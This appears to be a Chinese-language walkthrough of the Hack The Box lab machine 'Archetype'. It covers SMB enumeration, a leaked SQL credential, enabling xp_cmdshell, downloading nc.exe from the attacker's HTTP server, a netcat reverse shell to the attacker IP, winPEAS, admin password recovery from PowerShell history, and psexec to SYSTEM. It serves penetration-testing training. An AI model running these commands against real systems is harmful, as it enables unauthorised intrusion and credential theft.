HTB:Archetype[WriteUP]

使用OpenVPN连接HTB服务器并启动靶机

靶机IP:10.129.95.187

分配IP:10.10.16.22


1.Which TCP port is hosting a database server?

使用nmap对靶机进行扫描:nmap -sC -sV -T4 -Pn {TARGET_IP}

通过nmap扫描结果可见: 1433 端口用于SQL Server服务


2.What is the name of the non-Administrative share available over SMB?

通过nmap扫描结果可见:靶机已启用smb服务,并且account_userd: guest已启用访客账户

使用smbclient工具与samba服务器进行交互:smbclient -N -L {TARGET_IP}

使用此命令将枚举出该samba服务器中的所有共享对象,可见 backups 为可用的非管理共享


3.What is the password identified in the file on the SMB share?

使用smbclient工具连接backups共享并枚举所有文件:smbclient -N \\\\{TARGET_IP}\\backups

 将prod.dtsConfig文件下载到本地:get prod.dtsConfig

smb: \> get prod.dtsConfig
getting file \prod.dtsConfig of size 609 as prod.dtsConfig (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
smb: \> exit

查看prod.dtsConfig文件内容:cat prod.dtsConfig

<DTSConfiguration>
    <DTSConfigurationHeading>
        <DTSConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName="..." GeneratedFromPackageID="..." GeneratedDate="20.1.2019 10:01:34"/>
    </DTSConfigurationHeading>
    <Configuration ConfiguredType="Property" Path="\Package.Connections[Destination].Properties[ConnectionString]" ValueType="String">
        <ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;</ConfiguredValue>
    </Configuration>
</DTSConfiguration>

 文件内容可找到:Password=M3g4c0rp123;


4.What script from Impacket collection can be used in order to establish an authenticated connection to a Microsoft SQL Server?

Impacket collection 是一组用于处理网络协议的 Python 类库工具集

提供了对多种网络协议的实现和利用手段,包括但不限于 SMB、MSRPC、LDAP等

在github上对工具进行克隆:git clone https://github.com/SecureAuthCorp/impacket.git

进入impacket目录后安装依赖(自行添加屁股源):pip install -r requirements.txt

进入examples目录可以找到用于SQL Server连接的脚本:mssqlclient.py


5.What extended stored procedure of Microsoft SQL Server can be used in order to spawn a Windows command shell?

通过在prod.dtsConfig文件中获取的User_ID和Password来登录sql服务器

连接数据库:python mssqlclient.py ARCHETYPE/sql_svc@{TARGET_IP} -windows-auth

输入help命令可见 xp_cmdshell 用于生成Windows命令shell


6.What script can be used in order to search possible paths to escalate privileges on Windows hosts?

到了这一题直接跳跃到了提权,但是我们现在连low权shell都没拿到,所以继续getshell

查看是否有数据库最高权限:SELECT is_srvrolemember('sysadmin');

尝试开启xp_cmdshell并执行whoami命令,依次执行:

enable_xp_cmdshell
RECONFIGURE
xp_cmdshell "whoami"

输出:archetype\sql_svc,代表xp_cmdshell成功执行了命令

接下来执行 pwd 命令查看当前位置,准备上传nc反弹shell

使用 ls ../../ 命令列出上上一级所有文件夹

这里将nc传入Users更好一些 ,如果传入Windows或其他文件夹可能存在权限问题

找到sql_svc文件夹, 接下来使用wget将nc从本地上传至该目录下的Downloads中

将nc放置在同目录下,开启http.server服务并输入好端口

执行命令:xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; wget http://{NATIVE_IP}:{NATIVE_PORT}/nc.exe -outfile nc.exe"

再次执行命令:xp_cmdshell "powershell -c ls ../../Users/sql_svc/Downloads"

可以看到nc.exe已经成功上传至靶机

本地端使用nc对指定端口持续监听并执行命令:

xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; .\nc.exe -e cmd.exe {NATIVE_IP} {NATIVE_PORT}"

最后也是在sql_svc\Desktop目录下找到了user.txt文件

执行命令查看user.txt文件内容:

 USER_FLAG:3e7b102e78218e935bf3f4951fec21a3


回到第六题的答案:winPEAS

 同理:我们上文用python开启的http.server服务没关闭,直接将winPEAS放置在同目录进行上传

 在靶机cmd中切换成PowerShell,并执行wget命令上传winPEAS:

wget http://{NATIVE_IP}:{NATIVE_PORT}/winPEASx64.exe -outfile winPEASx64.exe


7.What file contains the administrator's password?

直接输入执行:.\winPEASx64.exe

找到PowerShell历史记录文件路径:

C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

该PowerShell历史文件内存储着管理员密码:ConsoleHost_history.txt

执行命令进入该文件同目录下:

cd C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\

执行命令查看该文件内容:type ConsoleHost_history.txt

现在我们取得了系统管理员账户和密码,可以直接对靶机进行登录

账户:administrator

密码:MEGACORP_4dm1n!!

还是使用impacket中的脚本psexec.py进行交互

执行命令连接:python psexec.py {TARGET_USER}@{TARGET_IP}

 执行whoami输出:nt authority\system,说明已是系统管理员权限

进入Administrator目录中查找flag,执行命令:cd C:\Users\Administrator

再进入Desktop目录下,找到了root.txt

执行命令查看root.txt文件内容:

ROOT_FLAG:b91ccec3305e98240082d4474b848528

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

0DayHP

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值